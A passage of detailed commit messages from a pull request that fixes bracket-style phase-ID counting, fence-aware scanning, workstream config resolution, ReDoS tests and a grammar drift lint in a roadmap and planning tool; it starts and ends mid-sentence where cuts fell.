the `bracketId && ` guard both original inline loops carried before
calling isSentinelPhaseId. Every other isSentinelPhaseId call site in
src/ (roadmap-parser.cts, roadmap.cts, validate.cts x2, verify.cts)
keeps the guard; state.cts's shared counter was the only one of seven
without it.

When the phase-heading-intro grammar's LEGACY alternative matches (a
`### Phase 00:` heading in a `phase_id_convention: "bracket"` repo —
the mid-migration shape this PR exists for), the bracket capture group
is `undefined`, so the unguarded call became
`isSentinelPhaseId("undefined-00", 'bracket')` — measured TRUE, so
phase 00 (and 000, 0a, 0.5, 999.1 — any token whose splice with the
literal string "undefined" happens to fall in a sentinel range) was
silently dropped from the denominator. `getMilestonePhaseFilter` (which
still carries its own guard) counts the phase and admits its directory
regardless, so the filter and the counter disagree — a half-done
milestone reads as 100% complete, persisted.

One-line fix, restoring the guard every sibling call site already has:

    if (bracketId && isSentinelPhaseId(`${bracketId}-${token}`, 'bracket')) continue;

Line count: `git diff --stat src/state.cts` -> 1 file changed, 1
insertion(+), 1 deletion(-).

Tests: new describe block "#612 PR-2 round-5 Blocker 1:
countRoadmapPhaseHeadings restores the bracketId guard" — RED-turned-
GREEN for G3 (3/2/67, was 2/2/100) and G3d (the mixed bracket+legacy
mid-migration shape, same numbers) with syncedTotal()/syncedPercent(),
PIN for G3's legacy control (unaffected), PIN for G3b (isolates the
counter with no directory to admit), PIN for G3c (legacy 01/02 only,
no sentinel-shaped token present).

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 957/957 pass (952 + 5 new). node scripts/lint-phase-id-drift.cjs
clean; eslint clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): extractRetiredPhaseNumbers is fence-aware on the bracket path (round-5 Major 1)

Gate-2 round-5 re-verify Major 1 (NEW) — a FIFTH fence-blind site on
the bracket path, missed by 3be5c412's own enumeration of "four".
extractRetiredPhaseNumbers' line scan (`scope.split(/\r?\n/)`) has no
fence awareness. This PR compiles the bracket alternative into
`introSrc` ("the retirement filter has to widen with the counter it
protects" — the function's own pre-existing comment), so a FENCED
authoring EXAMPLE showing the #1514 retirement gesture in bracket
spelling is now indistinguishable from a real one: it retires a
genuine phase, shrinking the denominator and persisting a confident
100% where base correctly read 50%.

Fixed with the SAME consumer-level ruling this arc has used at every
other fence-blind site, reusing markdown-sectionizer's existing
exported `stripFencedCode` rather than hand-rolling a second fence
parser (single-owner rule) — retirement lines are BULLETS, not
headings, so `tokenizeHeadings` doesn't serve here; `stripFencedCode`
is the general-purpose fence stripper the tokenizer itself is built on.
Gated on `convention === 'bracket'`; the LEGACY line scan stays the raw
`scope` string, byte-identical — its own fenced-example hazard is
pre-existing (wrong at base too) and out of scope.

Line count: `git diff --stat src/state.cts` -> 1 file changed, 9
insertions(+), 2 deletions(-) — one import added, four lines inside
the function (a comment + the `scanScope` computation + the changed
`.split()` call).

Tests: new describe block "#612 PR-2 round-5 Major 1:
extractRetiredPhaseNumbers is fence-aware on the bracket path" —
RED-turned-GREEN for G2 (fenced example in the preamble) and G2b (the
same example placed INSIDE the milestone section, ruling out a
preamble-scoping artifact — the site itself was fence-blind wherever
the fence sits), PIN for the LEGACY control (unchanged, pre-existing,
out of scope — base is wrong on this shape too).

Also folds in the "four fence-blind sites" correction: 3be5c412's
commit message and any restatement of it should read FIVE going
forward; this commit's own message states the count correctly.

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 960/960 pass (957 + 3 new). node scripts/lint-phase-id-drift.cjs
clean; eslint clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): state sync's counter excludes the bracket 999 icebox token (round-5 Major 2)

Gate-2 round-5 re-verify Major 2 (NEW) — `includeUnconditional999Check`
left `state json` and `state sync` reporting different totals for one
bracket repo. Under bracket, READING-B puts the sentinel in the
bracket, so `isSentinelPhaseId("GSD.02-999", 'bracket')` is false —
the `/^999\b/` TOKEN rule is the only thing excluding a
`### [GSD.02] 999:` icebox heading, and it ran on the read path
(buildStateFrontmatter, `true`) and on getMilestonePhaseFilter
(unconditional), but not on cmdStateSync's own counter (`false`). One
`state sync` call could leave a single STATE.md with its own
frontmatter (percent 50, from the read-path re-sync inside
writeStateMd) and body (percent 33, from the write-path counter that
alone still counted the icebox heading) disagreeing — falsifying this
PR's own stated invariant that sharing countRoadmapPhaseHeadings made
"the two counters must see the same phases" structural.

Functional change is one argument, exactly as specified: the write
call site now passes `syncConvention === 'bracket'` instead of the
literal `false`. `syncConvention === 'bracket'` is `false` for every
non-bracket value, so the LEGACY path resolves to the exact same
`false` it always did — this file's own pre-existing, deliberately-
unchanged read/write divergence on that path is untouched. The READ
site (`:1860`) is NOT touched — its historical behaviour applied
`/^999\b/` to legacy and bracket alike, so changing it would move
legacy READ totals, exactly the class of mistake this arc's own
Blocker 1 (this round) was.

Line count: the functional change is ONE argument
(`false` -> `syncConvention === 'bracket'`); the surrounding comment
was rewritten because the previous one asserted the now-superseded
behaviour ("preserving this file's pre-existing... divergence... a
bare 999 token is not excluded here") and leaving it would mislead the
next reader — not a structural change.

Tests: new describe block "#612 PR-2 round-5 Major 2: state sync
excludes the bracket 999 icebox token like the read path" —
RED-turned-GREEN for G1, asserting `state sync`'s body percent equals
`state json`'s own percent (both 50, not 33 vs 50), PIN for G1's
legacy control (33 vs 50 unchanged, deliberately).

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 962/962 pass (960 + 2 new). node scripts/lint-phase-id-drift.cjs
clean; eslint clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): restore indent parity at the two line-start-anchored bracket-heading reconstructions (round-5 Minor 1)

`HeadingToken.offset` (tokenizeHeadings) is the LINE-START character offset,
not necessarily the `#` character's own offset — a ≤3-space-indented ATX
heading has both. Two round-4 reconstructions built on tokenizeHeadings
inherited this gap and accepted indented headings their raw, line-start-
anchored predecessors (`^#{1,3}\s+\[...`) never matched:

  1. roadmap-parser.cts's bracket-fallback SELECTOR (extractCurrentMilestone,
     ~line 377) — an indented, version-less `[GSD.02]` milestone heading
     could be reconstructed into headingMatches, then mis-parsed downstream
     (selectedBracketId null, level fallback to 1), leaking a SIBLING
     milestone's phases into the counted scope (G6: HEAD read 3/2/67 instead
     of 2/1/50 — a real phase heading's own directory belonging to the NEXT
     milestone got counted).

  2. state.cts's isMilestoneBounded (~line 1571) — the same gap let an
     indented-only `[GSD.02]`-shaped heading wrongly bound a milestone
     absent from the roadmap, un-suppressing a percent that should stay
     suppressed (mirrors round-4's F12 fenced-only case, but via indentation
     instead of a fence).

Fix: one added conjunct per site — `content[h.offset] === '#'` (source-named
`roadmapRaw` in state.cts) — filtering to tokens whose LINE-START offset IS
the `#` character, i.e. exactly the set the raw line-start-anchored regex
would ever have matched. Restores byte-for-byte raw parity; no other logic
in either function changes. computeSectionEnd and the preamble version/
emoji-token scan are untouched, as instructed — they consumed tokenizeHeadings
output before this arc and are out of scope here.

Also corrects roadmap-parser.cts's now-provably-false docstring claim that
`h.offset` is unconditionally "the same `#`-character coordinate space
`content.match().index` used" — true only for the survivors of the new
filter, not for every token tokenizeHeadings produces.

Line count: the FUNCTIONAL change is exactly 2 lines (one added `&&` conjunct
per call site — `git diff --stat` on the two source files shows 20
insertions/7 deletions, but only those 2 lines change behavior; the rest is
docstring/comment rationale, per this round's "state the line count" ask).

TDD: both fixtures verified RED at HEAD before this commit, GREEN after,
via /tmp/pr612rev/rv5-attack.cjs G6 and a locally-authored isMilestoneBounded-
isolating probe (G6 alone doesn't distinguish the two sites — its unindented
phase headings already satisfy isMilestoneBounded's loose prefix regex
either way, so a second, indentation-only fixture was needed to prove that
site's fix is not a no-op; verified by temporarily reverting just that one
conjunct, confirming 100%-wrongly-bounded RED, then restoring it, confirming
suppressed-percent GREEN).

New tests (adr-612-bracket-phase-counting.test.cjs):
  - RED (G6): indented version-less bracket milestone heading — 2/1/50, not
    the pinned-before-fix 3/2/67.
  - PIN (G6c unindented control): identical document, no indent — 2/1/50
    unaffected on every build.
  - RED (isMilestoneBounded site, indented-ONLY): mirrors round-4's F12
    shape (fenced-ONLY → indented-ONLY) — percent stays suppressed instead
    of the pinned-before-fix wrongly-bounded 100%.

Full G1-G10 (rv5-attack.cjs) + G2b/G3c/G3d/G6c (rv5b.cjs) re-verified
zero-drift against TRUTH after this change. Targeted suite (adr-612-*,
roadmap-parser, state, verify): 962 -> 965 (+3), 0 fail.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): changeset discloses counting-set narrowing + correct stale consumer-count sentence (round-5 minors)

FIX 5 (Minor 2): .changeset/2761-bracket-read-tolerance.md did not disclose
that bracket phase-heading counting is narrower than the raw-regex
predecessor in two ways the review's G4/G5 fixtures surfaced: a level-5
heading (`##### [GSD.02] 05: ...`) is no longer counted (the counter's
tokenizeHeadings scan caps at level 4, matching the selector/isMilestoneBounded
ceiling), and a space-less heading (`###[GSD.02] 05: ...`) is no longer
counted (CommonMark requires ≥1 space/tab after the hashes, which
tokenizeHeadings correctly enforces and the old raw regex did not). Both
G4 and G5 moved from round-1's wrong (inflated) values back to base's
original values as an incidental side effect of routing through
tokenizeHeadings — never a deliberate feature of this PR, and previously
undocumented. One clause added to the existing run-on paragraph; no other
wording in the changeset touched.

FIX 6 (Nit 1): tests/adr-612-bracket-heading-selection.test.cjs:76 —
`BRACKET_PHASE_TAIL_RE` has TWO consumers as of round-4's 65d257ce
(isBracketMilestoneBoundary's own use, plus bracketHeadingHasMatchingChild's
same-id-PHASE-child conjunct), not the "no other consumers" the comment
claimed. Same correction pattern round-4 already applied to this row's
BRACKET_HEADING_INTRO_RE neighbor (that sentence's own staleness was fixed
in 4d7184b8): note the true consumer count, confirm both stay nested inside
the same bracketBoundaryActive runtime gate (verified at
src/roadmap-parser.cts:178 and :250, both reached only through the
`if (bracketBoundaryActive)` block starting at :529), and record which
commit and which fix introduced the drift. Comment-only; no assertion
logic changed.

Line count: 2 files, 8 insertions / 2 deletions total — one added clause
in the changeset (1 line changed) and one comment block replacing the
single stale line in the test file (6 comment lines replacing 1).

Verified: targeted suite (adr-612-*, roadmap-parser, state, verify)
unchanged at 965/965 pass (comment/prose-only diffs, no test count change).
`node scripts/changeset/lint.cjs` and `npx eslint` on the touched files both
clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): restore the bracketId guard on the bracket-only /^0\b/ sibling rule (round-6 Blocker 1)

Round-5's Blocker 1 was `isSentinelPhaseId("undefined-00")` — the merge
that introduced the shared counter dropped the `bracketId &&` guard on the
sentinel check. This is the identical failure one line further down, in the
sibling rule this PR itself added: when the phase-heading grammar's LEGACY
alternative matches (`### Phase 0:` in a `phase_id_convention: "bracket"`
repo — the mid-migration shape this PR exists for), `bracketId` is
`undefined`, and the unguarded `/^0\b/` fires on the bare token anyway.
Neither the LEGACY branch of this same function nor
`getMilestonePhaseFilter` has a `/^0\b/` rule at all, so the filter counts
the phase and admits its completed directory while the counter refuses to
count its heading — a milestone with an unstarted phase 02 persists as a
confident 100%.

`/^0\b/` matches `0` and `0.5` (word boundary before the `.`) but not `00`
(no boundary between the two zeros), which is exactly why round-5's G3/G3d
fixtures (`### Phase 00:`) never tripped this one — same defect class,
different token spelling.

Fix: one word, mirroring the guard round 5 restored two lines above —
`if (/^0\b/.test(token)) continue;` -> `if (bracketId && /^0\b/.test(token)) continue;`.

Expected and intentional side effect: `roadmap analyze` and `state json`
now disagree again on this bracket-repo shape (analyze phase_count=2, json
total_phases=3) — exactly as they already do under the legacy convention
today (verified via /tmp/pr612rev/rv6c.cjs on both conventions). That is
the counter regaining agreement with `getMilestonePhaseFilter` (the tighter
constraint — it is what actually decides `completed_phases`), not a new
break; the counter/filter disagreement is what was wrong.

Out of scope, deliberately NOT fixed here (Minor 1, disclosed via a PIN
test only): the bracket-SPELLED `### [GSD.02] 0:` shape has the same
counter/filter disagreement, but reads 2/2/100 on base too — never closed
by any build in this arc, so it is a pre-existing gap rather than a
regression this commit could introduce.

Line count: src/state.cts is exactly 1 insertion / 1 deletion (one word,
`bracketId && ` prepended to the existing condition).

TDD: T0 (`Phase 0:`) and T05 (`Phase 0.5:`) verified RED at HEAD before this
commit (json 2/2/100, sync body 100%) via /tmp/pr612rev/rv6b.cjs, GREEN
after (3/2/67 on both derivations, matching TRUTH). Zero-drift verified by
diffing the FULL corpus (rv5-attack, rv5b, rv4-attack, rv-attack1,
rv-attack1b, rv-attack3c, rv-mech1, rv2-amend1, rv2-amend2, rv6-attack
H1-H19, rv6b) between a pre-fix and post-fix build: the only differing
lines in the entire diff are T0, T05, and H14 — the three target fixtures.

New tests (adr-612-bracket-phase-counting.test.cjs):
  - RED (T0) + PIN (T0L legacy control)
  - RED (T05) + PIN (T05L legacy control)
  - PIN (B0, bracket-spelled `0` — base-parity characterization, Minor 1,
    not fixed this round)
  Round-5's own G3 test (`### Phase 00:`) already serves as the T00 pin —
  `/^0\b/` never matched `00`, so it is unaffected and untouched.

Targeted suite (adr-612-*, roadmap-parser, state, verify): 965 -> 970 (+5),
0 fail. `lint-phase-id-drift.cjs` and `npx eslint` on touched files clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): changeset re-attributes the phase-count level cap + discloses the bare-0 carve-out; correct two stale test comments (round-6 Minor 1 + Nits)

FIX 2 (Minor 1 — disclosure only, NOT a code fix): the bracket-SPELLED
`### [GSD.02] 0:` / `0.5:` shape has the same counter/filter disagreement
round-6's Blocker fixed for the legacy spelling, but it reads 2/2/100 on
BASE too — never closed by any build in this arc, so it is a pre-existing
gap rather than a regression this round could introduce. Two changes:

  - Pinned as a base-parity characterization: new PIN test (B0) in
    04b5a95f's describe block asserting the exact unchanged value with a
    comment stating why it's deliberately not touched.
  - .changeset/2761-bracket-read-tolerance.md: one qualifying clause added
    to the "counted from ALL of the phases … not a subset" sentence — a
    bare `0`/`0.x` phase token (however spelled) keeps `roadmap analyze`'s
    own pre-existing sentinel reading under bracket too, so it stays
    excluded from these counts. Carried over, not newly introduced by this
    PR — `roadmap analyze` has always read it this way.

FIX 3(a) — same changeset paragraph misattributed the phase counter's
2-4 level cap to "the milestone-boundary machinery in this PR" (the
selector, `isMilestoneBounded`, the preamble scan) — that machinery caps
at `###` (level ≤3), not 2-4. The 2-4 cap belongs to
`getMilestonePhaseFilter`'s own phase scan. Re-pointed the attribution;
the paragraph's earlier, correct ≤3 claim (selector/isMilestoneBounded)
is untouched.

FIX 3(b) — tests/adr-612-bracket-heading-selection.test.cjs:76-82 (added by
1395bd89, round-5's own Nit-1 correction) claimed both
`BRACKET_PHASE_TAIL_RE` consumers are reached "only through the
`if (bracketBoundaryActive)` block starting at :529". Verified at HEAD:
`bracketHeadingHasMatchingChild` is (only caller :593, inside that block).
`isBracketMilestoneBoundary` is not — it has two callers, an inline
`bracketBoundaryActive &&` conjunct at `:473` (inside `computeSectionEnd`)
and the `:529` block at `:567` — the very fact this row's own earlier
"exactly two callers" paragraph already stated correctly. Corrected the
mechanism claim; the CONCLUSION (every consumer is still gated on the same
flag) is unchanged, exactly as round-5's own Nit-1 fix left round-4's
conclusion unchanged when it corrected the consumer count.

FIX 3(c) — tests/adr-612-bracket-phase-counting.test.cjs:2311,2340 still
said "four fence-blind sites" after round-5 (357ba671) added a fifth
(the retirement scan) in its own block below. Reworded both the section
comment and the `describe()` label to read as historical scoping of
round-4's own fix ("the four sites known at round 4 … a fifth was found at
round 5, see its own block below") rather than a live exhaustive claim.

Line count: 3 files, changeset 1/1, heading-selection test 17/8,
phase-counting test 6/2 (comment/prose-only; B0's own PIN test landed in
04b5a95f alongside T0/T05 since it was investigated as part of that same
Blocker's defect class, not in this commit — noted here for the record).

Verified: targeted suite (adr-612-*, roadmap-parser, state, verify)
unchanged at 970/970 (comment/prose-only diffs, no test count change).
`npx eslint` and `node scripts/changeset/lint.cjs` both clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): W021's bracket remediation hint stops pointing at a command that hard-errors (round-7 Minor 2)

`checkBracketCoherence`'s W021 (added by 94abf5df) attached the fix hint
`Run \`gsd-tools roadmap upgrade --convention bracket\` to migrate
(dry-run by default)` to every bracket-convention W021 — both sub-checks
(`missing-bracket` and `mismatch`) share the single `addIssue` call at
src/verify.cts:2255-2256. But `roadmap-command-router.cts:204` throws
unconditionally for any `--convention` value other than
`milestone-prefixed`:

  $ gsd-tools roadmap upgrade --convention bracket
  Error: Only --convention milestone-prefixed is supported

This contradicts the PR's own two disclosures: the changeset ("`bracket`
is a READ-path opt-in until the migrator and write path land") and
docs/CONFIGURATION.md:188 ("There is no bracket migrator and no bracket
emit yet"). Reachability is the exact mid-migration repo this PR targets —
any bracket project with one un-migrated heading gets an unfollowable
instruction on every `validate health`.

Fix: one string. Replaced the hint with what a user can actually do today —
manually align the heading's bracket milestone to its section — and named
the tracked future landing (#612 PR-3) instead of a command that errors.
The milestone-prefixed sibling hint at src/verify.cts:2240 (a different,
already-functional convention/command pair — verified against
roadmap-command-router.cts:65) is untouched.

Line count: src/verify.cts is exactly 1 insertion / 1 deletion (one string
literal).

No test in the suite previously asserted this string's content
(`grep -rn "upgrade --convention bracket" tests/` was empty), so the
unfollowable hint shipped unpinned — `lint-fix-has-regression-test.cjs`
would not have caught a string-only change without a new test. Added one:
asserts the fix string both (a) does not match `--convention bracket`
(the specific pinned-before-this-fix hazard) and (b) equals the new string
exactly, covering the invariant a future edit must not re-break: no
unsupported `--convention` value named in remediation text users are
expected to run verbatim.

Verified end-to-end (not just unit-level) via /tmp/pr612rev/rv7f.cjs: the
W021 issue's `fix` field now reads the new string; `gsd-tools roadmap
upgrade --convention bracket` (and its --dry-run variant) still correctly
hard-error — that command remains unsupported, only the hint text changed.

Targeted suite (adr-612-*, roadmap-parser, state, verify): 970 -> 971 (+1),
0 fail. `lint-phase-id-drift.cjs` clean; `npx eslint` on touched files:
0 errors (1 pre-existing unrelated no-elapsed-assertion warning, same file,
same line this arc's prior rounds already disclosed).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): correct the bare-0 changeset disclosure + disclose W021's second sub-check (round-7 Minor 1 + Nit 1)

FIX 1 (Minor 1) — round-6's bare-0 changeset clause (1395bd89) was wrong in
three falsifiable ways:

  (a) Its own illustration (`### Phase 0:`) is exactly the LEGACY spelling
      04b5a95f made COUNTED. The residual exclusion after that fix applies
      only to the BRACKET-spelled token (`### [GSD.02] 0:`) — the clause
      named the wrong shape as its example.
  (b) "excluded from these counts" over-scoped the carve-out. The phase-0
      directory is admitted into `completed_phases`/`total_plans` in BOTH
      spellings (measured: B0 at HEAD has `completed_phases=2`,
      `accepts {"GSD.02-0-bootstrap":true}`). The exclusion that survives
      lives in `total_phases`/`phase_count` (heading counting) only.
  (c) The pre-existing "so `roadmap analyze` and `state json` report the
      same number" sentence (present since before this arc's bracket work)
      is now false for the bare-0 LEGACY-spelled shape: 04b5a95f's own
      commit message discloses this exact re-divergence as expected —
      `roadmap analyze` phase_count=2 vs `state json` total_phases=3 on T0
      — matching the disagreement legacy already carries today. The
      changeset still asserted unconditional agreement.

Rewrote both sentences: dropped the `### Phase 0:` example, scoped the
carve-out to `total_phases`/`phase_count`, named the bracket-spelled token
as the one that keeps analyze's sentinel reading, stated plainly that the
legacy-spelled form in a bracket repo IS counted (the mid-migration guard),
and qualified the "report the same number" claim to the `999` token, with
the bare-0 legacy-spelled shape named as the one exception and why.

FIX 3 (Nit 1) — `checkBracketCoherence` has always had two sub-checks
(its own docstring: "Two sub-checks, both surfaced as W021") but both the
changeset and docs/CONFIGURATION.md:188 described only the `mismatch`
sub-check. The `missing-bracket` sub-check — which fires on every
legacy-spelled heading in a bracket repo, the noisier of the two on a
mid-migration project — was undisclosed in both places. One clause added
to each.

Line count: 2 files, 1 line changed each (both are single-paragraph/
single-row files; git diff --stat reports 1/1 per file though several
distinct clauses were edited within that one line each).

Verified: `node scripts/changeset/lint.cjs` clean. Targeted suite
(adr-612-*, roadmap-parser, state, verify) unchanged at 971/971
(prose-only diffs, no test count change, no code touched).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): resolvePhaseIdConvention's docstring no longer claims loadConfig drops the key

Upstream #2997 (aa7697fe, landed in `next` during this PR's final
verification) added `phase_id_convention: get('phase_id_convention') ?? null`
to `_baseConfig` in config-loader.cts — `loadConfig` now surfaces
`phase_id_convention` in its resolved config. This function's docstring
gave "loadConfig merges against CONFIG_DEFAULTS and drops keys it does not
know, and `phase_id_convention` is not among them" as the reason for
reading config.json directly instead of calling `loadConfig(cwd)`. That
rationale is now stale against live `next`.

Corrected the comment to state the two reasons that actually survive #2997:

  1. The workstream->root federation this function performs is a standalone
     resolution run against a GIVEN cwd, not necessarily the same base a
     `loadConfig(cwd)` call elsewhere in the codebase would federate from.
  2. Convention-ENUM validation is still #612 PR-4 work — this function
     returns the raw string unvalidated, exactly as the now-surfaced
     resolved key would.

Noted that #2997 surfacing the key makes consuming it from resolved config
(instead of re-reading config.json here) a natural PR-4 consolidation —
not this PR's scope. The "cycles were never the obstacle" close and every
other paragraph in the docstring (federation rationale, SCOPE note) are
untouched; they still hold.

Comment-only — no code behavior changed. This worktree's own history does
not contain aa7697fe (git merge-base --is-ancestor confirms neither branch
is an ancestor of the other; not rebasing per instruction), so this is a
textual correction against a documented external fact, not a functional
sync with upstream.

git diff --stat:
 src/planning-workspace.cts | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

Verified: `npm run build:lib` clean, `node scripts/lint-phase-id-drift.cjs`
clean, `npm run lint:ci` exit 0 (same 2 pre-existing unrelated eslint
warnings as every prior round this arc, 0 errors; lint-fix-has-regression-test
PASS). Full suite not re-run per instruction (comment-only diff).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): resolve phase_id_convention against the caller's workstream

`resolvePhaseIdConvention` took no workstream, so it resolved from
`planningDir(cwd)` — which falls back to `GSD_WORKSTREAM` only when its `ws`
argument is `undefined`. Every caller that passes a workstream by ARGUMENT
(they cannot set the env var per iteration) therefore read the convention from
the ROOT config while reading that workstream's ROADMAP.

Two reproduced consequences:

- A workstream that explicitly declares its own `phase_id_convention` had it
  ignored. Flipping ONLY the root config between bracket and milestone-prefixed
  changed which milestone that workstream extracted.
- `--workstream foo` and `GSD_WORKSTREAM=foo` disagreed on the same repo: the
  arg form fell through to the root config, the env form did not.

`resolvePhaseIdConvention(cwd, ws?)` now forwards `ws` to `planningDir`, and
both roadmap-parser call sites pass theirs — `extractCurrentMilestoneScoped`
(which already reads STATE from `planningDir(cwd, ws)`) and
`getMilestonePhaseFilter`'s lazy branch. `undefined` keeps the env fallback, so
convention-less call sites are byte-identical; `null` still means "explicitly no
workstream". The `undefined` vs `null` discriminator on `phaseIdConvention` is
untouched — only the base the `undefined` branch resolves FROM moves.

workstream-inventory's two sites (`countRoadmapPhases`, `inspectWorkstream`)
passed a literal `null` where they meant `undefined`, pinning every workstream
to the legacy grammar. On a bracket workstream whose milestone declares 3
phases that returned phaseCount 0 and fell back to the on-disk directory count;
it now returns 3. A non-bracket workstream is unchanged (legacy control pinned).

The workstream -> root federation is preserved: a workstream that declares no
convention still inherits the root, as config-loader does. That inheritance is
pinned so the fix cannot be over-applied into isolation.

* fix(#2761): classify missing phase details per occurrence, not per token

Under READING-B a phase's sentinel status lives in the BRACKET, so
`[GSD.999] 01` and `[GSD.02] 01` share a token and are not the same phase.
Both sides of the missing-detail check were keyed by the bare token anyway, and
both produced false negatives in `missing_phase_details`:

- The checklist scan built a token -> bracket-id Map, FIRST-WINS. Of two entries
  sharing a token, whichever the author wrote first classified both. With
  `- [ ] **[GSD.999] 01: Icebox**` above `- [ ] **[GSD.02] 01: ...**` the real
  phase inherited the icebox's sentinel verdict and vanished from the report;
  swapping the two bullets — same document, same phases — reported it. Pinned
  with a test asserting BOTH orders.

- The detail set was `new Set(phases.map(p => p.number))`, also token-keyed, so
  `[GSD.02] 01`'s heading marked token `01` present and satisfied
  `[GSD.03] 01`, which has no heading anywhere. Order-independent, same class.

Both sides now key on an occurrence key: the owner's `bracketQualifiedKey`
(fold- and padding-insensitive, so `[gsd.2] 01` and `[GSD.02] 01` are one
phase), falling back to a fold-normalized composite for the two shapes that
grammar refuses — a token carrying its own hyphen, which splices to an id whose
trailing segment the qualified-key grammar truncates (the hazard
`getMilestonePhaseFilter` guards with its own `!token.includes('-')`), and any
id it does not accept. With no bracket id the key IS the bare token, so the
legacy path keeps its exact keys and dedupe order.

The emitted value is unchanged — `missing_phase_details` stays an array of bare
tokens, matching `phases[].number`. Only the classification moved to the
qualified key, so two brackets' `01` both missing report `01` once instead of
one silently covering for the other.

* test(#2761): replace the two wall-clock ReDoS assertions with algorithmic bounds

Both guards asserted elapsed wall-clock time — `Date.now()` against a 20s
ceiling in the coherence suite, `process.hrtime.bigint()` against 1s in the
read-tolerance suite. Those measure the host machine rather than the SUT and
flake on a loaded CI runner (RULESET.TESTS.no-timing-assertion). Per
RULESET.TESTS.delete-bad-tests they are REPLACED, not skipped, and the
behavioral property each one guarded is preserved.

The property is "the widened bracket patterns do not backtrack
catastrophically", which is a claim about growth, so it is now stated by
scaling the input instead of by timing it:

- validate health runs the pathological unclosed bracket at 4,000 and 16,000
  characters and must return the same correct result (no W021) at both.
- The four reader entry points run five ReDoS shapes at 5,000 and 20,000 and
  must name exactly the phases each shape should name at each size, with the
  variant cardinality unchanged across the two.

Catastrophic backtracking is superlinear, so a regression cannot complete the
4x leg under any ceiling, while a bounded matcher is indifferent to the
scaling. The one attack that is well-formed-but-oversized now pins its reading
precisely (`['1'.repeat(n)]`) rather than being lumped in with the malformed
ones. A positive control asserts the readers still extract a well-formed
bracket heading, so "names no phase" cannot pass by the readers being inert.

`{ timeout }` is a hang backstop, not an assertion: it turns a runaway into a
deterministic failure instead of a suite that never returns.

* fix(#2761): give the bracket grammar one owner and teach the drift guard to see it

The bracket milestone-intro grammar was re-typed verbatim in three readers —
roadmap-parser's bracket-fallback selector, state's `isMilestoneBounded` and
verify's `checkBracketCoherence` — which is exactly what #2761's own gate
forbids ("no token literal outside src/phase-id.cts"). `check:phase-id-drift`
reported clean the whole time: its detector only ever knew the phase-NUMBER
token grammar, so the bracket class `[A-Z][A-Z0-9_]*` was invisible to it.

Ownership. `src/phase-id.cts` now exports the class as
`BRACKET_PROJECT_CODE_SRC` and the intro in the two shapes its readers need:
`bracketMilestoneIntroSrcFor(milestone)` (pinned to one milestone) and
`BRACKET_MILESTONE_INTRO_CAPTURING_SRC` (milestone captured). The pinned
builder owns the pad2 spelling rule too — "canonical spelling only, not `0*N`"
was previously restated in prose beside each copy, a convention two files had
to keep agreeing on by hand. `BRACKET_ID_SRC`, `BRACKET_ID_PREFIX_RE` and
`BRACKET_QUALIFIED_KEY_RE` now compose the class rather than re-spelling it.
All three call sites consume the owner; the regex sources are byte-identical to
what they spelled, asserted against hand transcriptions of the pre-fix lines.

Guard. `scripts/lint-phase-id-drift.cjs` gains a bracket rule
(`findBracketGrammarDrift`), wired into `scanRepo` and tagged `kind`. It
deliberately does NOT copy the token rule's `line.includes(CANON_REF)` escape:
that escape is line-level, and verify's copy referenced the owner for the
MILESTONE field on the same line as the re-typed PROJECT-CODE class — so a
bracket rule with that escape would have kept passing on the very site under
review. Partial ownership is the drift; only a dedicated `// phase-id-owner:`
comment suppresses it.

Proof, end to end: planting the shipped verify.cts literal back into src/ makes
`npm run check:phase-id-drift` exit 1 naming `[bracket] src/verify.cts:1475`;
restoring it returns the gate to ok.

Tests. phase-id-drift-guard carries all three shipped literals as negative
fixtures, the same-line-owner-reference case, the case-widened evasion variant,
the sanction rules, and a temp-tree scan proving the rule is wired into
scanRepo rather than merely exported. continuation-grammar-parity drives the
pinned and capturing shapes over a 12-entry corpus and requires the same
verdict from both plus the same captured milestone — widening either alone
fails there.

* test(#2761): drop the out-of-scope source-grep exemption from the selector pin

The baseline-selector pin in tests/adr-612-bracket-heading-selection.test.cjs
read `src/*.cts` with readFileSync and regex, claiming the no-source-grep
escape with a source-text-is-the-product reason. CONTEXT.md's documented scope
(RULESET.TESTS.no-source-grep.exemption) reserves that escape for tests whose
subject is a runtime CONTRACT FILE — STATE.md, config.toml, hooks.json, agent
.md — and `src/*.cts` is none of those.

It was also broader than it looked: eslint-rules/no-source-grep.cjs matches the
marker in ANY comment in the file, so one block's claim disarmed the rule for
the whole ~700-line suite.

The pin itself is worth keeping — the BASELINE ARGUMENT at each call site is a
fact no behavioural test can recover (flipping verify's milestone-complete site
from LABEL_ONLY to ANY_BRACKET grants a tolerance it has never had, and every
behavioural test still passes), so pinning it does require reading the authored
source. That reading moved to `scripts/lint-phase-id-drift.cjs` — the seam's
own guard, where source scanning is sanctioned (`warn` scope) and already
happens for the grammar rules — as `countSelectorBaselines` /
`scanSelectorBaselines`, which return a structured census. The test asserts on
the returned data and touches no file text.

CONTEXT.md is unchanged: the exemption scope was not widened to fit the test.
No marker remains in the suite, so the rule is live across all of it again, and
eslint passes with the escape removed rather than relocated. A floor assertion
pins that the census actually found the five consumers, so the "no other file
consumes the selector unpinned" check cannot pass on an empty scan.

* docs(#2761): rewrite the changeset as a lead + deltas instead of one paragraph

The fragment was a single ~6,400-character paragraph that opened on internal
mechanics, buried the user-visible change, and named an internal test path
(tests/adr-612-bracket-phase-counting.test.cjs) that means nothing to a reader
of the CHANGELOG.

It now leads with what a user sees — bracket-style phase IDs are recognized on
